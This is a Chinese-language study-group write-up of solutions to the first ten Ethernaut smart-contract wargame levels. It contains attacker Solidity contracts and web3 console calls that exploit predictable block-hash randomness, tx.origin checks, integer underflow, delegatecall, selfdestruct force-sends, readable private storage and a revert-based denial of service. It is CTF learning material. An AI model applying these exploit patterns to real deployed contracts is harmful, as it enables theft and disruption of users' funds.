# 第三次讀書會實作練習 - Ethernaut前十題
#### 1. Hello Ethernaut
```solidity=
ethernaut0
```
基本上就是跟著ABI裡有的Name輸入看看就能解開
#### 2. Fallback
```solidity=
// 透過ABI中的簽名,以16進制Calldata形式傳錢呼叫contribute
await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000',data: '0xd7bb99ba'})
// 單純轉帳進入合約,觸發receive() function
await contract.sendTransaction({from :'0xb0Bcfde547E15c48fEFEEd2Cc021F030dE4f317E',to:'0x44A061C682467BF11Fe52ca0D9dEa6ac39b6e17C',value:'100000000000000'})
//條件滿足成為owner,看一下owner是否正確
await contract.owner()
//將錢轉入owner account達成條件
await contract.withdraw();
```
這題超級有趣的,
中間想了一下到底要怎麼傳eth進入contribute function,
後來突然想到之前玩Free Mint NFT 時,
曾透過轉帳時的Calldata傳16進制的 "mint" 簽名去搶NFT,
於是就看了ABI中contribute的signature: "0xd7bb99ba",
以sendTransaction方式傳值過去
#### 3. Fallout
```solidity=
//Call Fal1out function 即可,因owner = msg.sender;
await contract.Fal1out()
//條件滿足成為owner,看一下owner是否正確
await contract.owner()
```
不知道在幹嘛,毫無難度
#### 4. Coin Flip
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface CoinFlip{
function flip(bool _guess) external returns (bool);
}
contract CoinFlipGuess{
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function main(address argentAddress) public
{
CoinFlip fliphack = CoinFlip(argentAddress);
bool getAnswer = true;
getAnswer = flipHacker();
fliphack.flip(getAnswer);
}
function flipHacker() public returns (bool answer)
{
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
if (coinFlip == 1){
return true;
}
else{
return false;
}
}
}
```
這題開始需要透過外部合約跟ethernuat的合約做交互方可破解
由於其合約並無限制Onlyowner才可Call Flip Function
且ethernuat使用block.number生成偽隨機數 非常好預測
故可以透過flipHacker Function先取得該區塊之隨機數
就能百發百中怎麼猜怎麼中
#### 5. Telephone
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract ContractChangeOwner{
address public argentAddress;
constructor(address _argentAddress) public{
argentAddress = _argentAddress;
}
function claim() public
{
ITelephone useTelephone = ITelephone(argentAddress);
useTelephone.changeOwner(msg.sender);
}
}
```
因為tx.origin != msg.sender
所以只要tx.origin 和 msg.sender為不同人
則可更改其owner
而要達成以上條件 可以使用智能合約去呼叫原合約
因 tx.origin 必須為EOA
而 msg.sender 可以為CA
故會產生tx.origin為EOA(個人地址)、msg.sender為CA(合約地址)
的狀況
#### 6. Token
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Itoken{
function transfer(address _to, uint _value) external returns (bool);
}
contract transferToken{
address argentAddress;
constructor(address _argentAddress){
argentAddress = _argentAddress;
}
function transferTokento(address _to,uint _value) public {
Itoken It = Itoken(argentAddress);
It.transfer(_to,_value);
}
}
```
本題`require(balances[msg.sender] - _value >= 0);`可以被攻擊
由於使用Uint無號數所以`balances[msg.sender] – _value`永遠不會少於零
直接利用合約去轉帳
輸入一個大於20的數值故意觸發溢位即可
#### 7. Delegation
```javascript=
sig = await web3.eth.abi.encodeFunctionSignature("pwn()")
await contract.sendTransaction({from:player, data:sig})
```
本題所用到的Delegatecall這種Low Level Call我是真得沒學過
特別去研究了一下並做成了筆記
https://hackmd.io/@CharmingFish0420/S1l3ugJdo
轉帳觸發Fallback函數
裡面可以透過delegatecall去傳遞msg.data
而在 Delegation 合約執行 pwn function
將會把Delegate的合約存儲複製進 Delagation
而 msg.sender 會採用呼叫者的資料,也就是我們(player),所以只要能在 web console 執行交易即可
#### 8. Force
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract transferDeadMoney{
address payable argentAddress;
constructor(address payable _argentAddress){
argentAddress = _argentAddress;
}
function selfDestructFunc() public payable{
selfdestruct(argentAddress);
}
}
```
本題所用到的selfdestruct也是我極少數使用的Function
曾經練習過也看過這個Function但一直不知道合約死後的金額
可以利用這個方式強制轉帳給某個地址
所以這題就可以創造一個自殺合約故意將金額轉進某帳號裡了
#### 9. Vault
```javascript=
await web3.eth.getStorageAt("0xaCdeF19A15e1b1D5eaACFdC46B345cdb8C8a44FF", 1)
.then(web3.utils.hexToAscii)
//'A very strong secret password :)'
//提交contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");
```
看到這題時可以馬上聯想到Private其實根本不是隱私的
超容易從外部調用就拿的到,它的隱私只限定於合約間、合約中
而web3.eth.getStorageAt()方法可返回一個以太坊地址的指定位置存儲內容。
輸入後會返回hex值,再利用hexToAscii即可破解密碼
#### 10. King
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hackking{
address payable argentAddress;
constructor (address payable _argentAddress)payable {
argentAddress = _argentAddress;
}
function hackcall()public payable{
(bool success,) = argentAddress.call{value: 1 ether, gas: 100000}("");
if(!success){
revert();
}
}
receive () external payable{
revert();
}
}
```
主要解題技巧是在我方利用合約轉錢進去當KING後
提交實例後,讓payable(king).transfer(msg.value)觸發Revert
則合約後續之king = msg.sender、prize = msg.value; 皆無法執行
轉錢過去實例的合約地址成為永遠的KING
實際方法我這邊是使用 receive () external payable{revert();}
讓他換新KING時payable(king).transfer(msg.value)轉錢無法順利執行
###### tags: `KryptoCamp 第 3 次讀書會實作練習`